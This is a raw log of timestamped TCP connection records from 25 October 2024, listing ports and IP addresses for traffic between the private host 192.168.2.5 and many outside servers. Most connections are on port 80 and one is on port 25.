Oct 25, 2024 11:18:15.116723061 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116741896 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116775036 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116806984 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116807938 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116842031 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.116890907 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.116940022 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.150015116 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150083065 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150114059 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150149107 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150187969 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150221109 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150255919 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.150304079 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.150304079 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.150304079 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.150304079 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151010036 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151046038 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151094913 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151094913 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151098967 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151133060 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151164055 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151169062 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151173115 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151220083 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.151793957 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151829004 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151921988 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.151936054 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.152055979 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.152256012 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.152309895 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.152344942 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.152379036 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.152415037 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.152461052 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.152461052 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.152461052 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.153085947 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.153121948 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.153156042 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.153342962 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.153342962 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.189035892 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:15.190479040 CEST	80	52958	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:15.190547943 CEST	52958	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:15.193234921 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.193273067 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.193310022 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.193552971 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.193552971 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.194592953 CEST	80	52957	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:15.222145081 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.222215891 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.226739883 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.232289076 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.235702991 CEST	52838	25	192.168.2.5	142.251.168.27
Oct 25, 2024 11:18:15.261014938 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:15.264067888 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:15.269402027 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269454956 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269490957 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269524097 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269557953 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269572973 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269572973 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269593000 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269606113 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269627094 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269659996 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269670963 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269694090 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269727945 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269733906 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269733906 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269762039 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269769907 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269795895 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269831896 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269864082 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269876003 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269876003 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269876003 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269896984 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269929886 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.269939899 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269939899 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.269967079 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270000935 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270009995 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270009995 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270035982 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270052910 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270071030 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270123959 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270150900 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270174980 CEST	80	52963	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:15.270210981 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270234108 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270242929 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270257950 CEST	52963	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:15.270277023 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270309925 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270344019 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270356894 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270356894 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270356894 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270356894 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270376921 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270386934 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270414114 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.270420074 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.270526886 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271155119 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271205902 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271239996 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271260023 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271270990 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271280050 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271306992 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271337032 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271348000 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271354914 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271389961 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.271431923 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.271852016 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272108078 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272142887 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272177935 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272211075 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272222996 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272245884 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272279978 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272294998 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272294998 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272295952 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272315025 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.272356987 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272372961 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.272989988 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.273097038 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.294647932 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.301285028 CEST	80	52984	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.301485062 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.301724911 CEST	52984	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:18:15.301966906 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.302153111 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.303559065 CEST	52986	80	192.168.2.5	147.154.3.56
Oct 25, 2024 11:18:15.306144953 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.306411028 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.306870937 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.307446957 CEST	80	52984	165.22.45.169	192.168.2.5
Oct 25, 2024 11:18:15.307712078 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.307796001 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.307804108 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.307882071 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.308017015 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.308084965 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:15.309035063 CEST	80	52986	147.154.3.56	192.168.2.5
Oct 25, 2024 11:18:15.309179068 CEST	52986	80	192.168.2.5	147.154.3.56
Oct 25, 2024 11:18:15.309305906 CEST	52986	80	192.168.2.5	147.154.3.56
Oct 25, 2024 11:18:15.310018063 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310048103 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310098886 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310133934 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310158968 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.310158968 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.310165882 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310199976 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.310290098 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.310290098 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.310395956 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.312215090 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.313474894 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.313621044 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:15.314765930 CEST	80	52986	147.154.3.56	192.168.2.5
Oct 25, 2024 11:18:15.316860914 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:15.317159891 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:15.322216034 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:15.322534084 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:15.322628975 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:15.322810888 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:15.322829962 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:15.323149920 CEST	80	52963	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:15.323201895 CEST	52963	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:15.325351000 CEST	80	52965	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:15.325443029 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:15.326215029 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.326611042 CEST	52988	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.328466892 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:15.328478098 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:15.328485966 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:15.332310915 CEST	80	52655	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:15.332364082 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.332380056 CEST	80	52988	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:15.332496881 CEST	52988	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.332739115 CEST	52988	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.338685989 CEST	80	52988	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:15.348757982 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:15.351526976 CEST	80	52967	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:15.351610899 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:15.354212999 CEST	80	52965	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:15.366442919 CEST	80	52966	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:15.366534948 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.371355057 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.372709990 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:15.376822948 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.376951933 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.377088070 CEST	52989	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.378045082 CEST	80	52967	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:15.382462025 CEST	80	52989	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.384222984 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384243011 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384253979 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384393930 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384393930 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384660006 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384680033 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384690046 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384761095 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384768963 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384778976 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384790897 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384803057 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.384844065 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384844065 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384844065 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.384845018 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385145903 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385157108 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385168076 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385179996 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385253906 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385317087 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385478020 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385488987 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385499954 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385539055 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385550022 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385557890 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385570049 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385585070 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385596037 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385629892 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385642052 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.385644913 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385644913 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385644913 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385683060 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.385725975 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386380911 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386523962 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386534929 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386545897 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386564016 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386574984 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386584997 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386586905 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386586905 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386586905 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386598110 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386610031 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386612892 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386621952 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386631012 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.386634111 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386634111 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386663914 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.386787891 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.387283087 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.387294054 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.387304068 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.387322903 CEST	80	52930	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:15.387763977 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.387763977 CEST	52930	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:15.394074917 CEST	80	52966	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:15.394340038 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.394340038 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.399796963 CEST	80	52966	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:15.413710117 CEST	80	52972	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:15.413796902 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:15.416733980 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.422143936 CEST	80	52990	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:15.422228098 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.425802946 CEST	52990	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:15.430898905 CEST	80	52957	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:15.430953979 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:15.431194067 CEST	80	52990	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:15.435616970 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:15.437772036 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.438004017 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.438616037 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:15.440954924 CEST	80	52972	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:15.443984032 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:15.466792107 CEST	52993	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.471491098 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.471569061 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.472220898 CEST	80	52993	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:15.472248077 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.472491026 CEST	52993	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.472491026 CEST	52993	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:15.477718115 CEST	80	52965	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:15.477741957 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.477802992 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:15.478177071 CEST	80	52993	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:15.485316992 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:15.485441923 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:15.518362999 CEST	80	52967	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:15.518482924 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:15.540611029 CEST	80	52968	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:15.540667057 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:15.541697979 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:15.547915936 CEST	80	52968	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:15.548067093 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:15.551870108 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:15.551970005 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:15.553350925 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:15.553476095 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:15.554759979 CEST	80	52973	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:15.555339098 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:15.557698965 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:15.558289051 CEST	80	52995	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:15.558316946 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:15.558372974 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:15.558645010 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:15.564243078 CEST	80	52995	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:15.576473951 CEST	52996	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:15.579911947 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:15.582340956 CEST	80	52996	34.149.87.45	192.168.2.5
